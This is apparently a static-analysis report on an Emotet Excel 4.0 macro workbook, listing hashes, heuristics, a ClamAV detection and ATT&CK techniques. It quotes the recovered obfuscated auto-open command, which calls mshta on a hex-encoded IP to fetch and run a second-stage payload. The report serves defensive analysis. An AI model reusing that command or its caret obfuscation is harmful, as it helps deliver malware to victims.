Emotet — Office (OLE) / .XLS malware analysis

Static analysis result for SHA-256 9f028db48cc89ed5…

MALICIOUS

Office (OLE) / .XLS

102.4 KB Created: 2022-01-21 14:27:47 Authoring application: Microsoft Excel
MD5: ed0d2e1a6964e578e4b9e72e3d9adcfa SHA-1: 56e4ff9a9fca93b5a164797f65d57ff231b4582b SHA-256: 9f028db48cc89ed5f954f71ebc3be9a248c21072f568c32d7aa22c717cb4cbda
140 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Service Execution: Visual Basic T1204.002 Malicious File Execution: Malicious File

The critical heuristic OLE_XLM_AUTOOPEN_DEFINEDNAME indicates the presence of an Excel 4.0 macro with an Auto_Open entry. The extracted macro script reveals a string literal 'cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe3.html' which is executed upon opening. This command is designed to download and execute a second-stage payload from the specified URL, consistent with Emotet's typical downloader behavior.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • ClamAV: Xls.Downloader.Emotet-bd646319c2d29cd6-9951195-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.Emotet-bd646319c2d29cd6-9951195-0
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
cd5d6e3253e3a898dc9d63d15113da3fd9fff8e87bda9543bb3d23d907be4b46		 xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 2903 bytes

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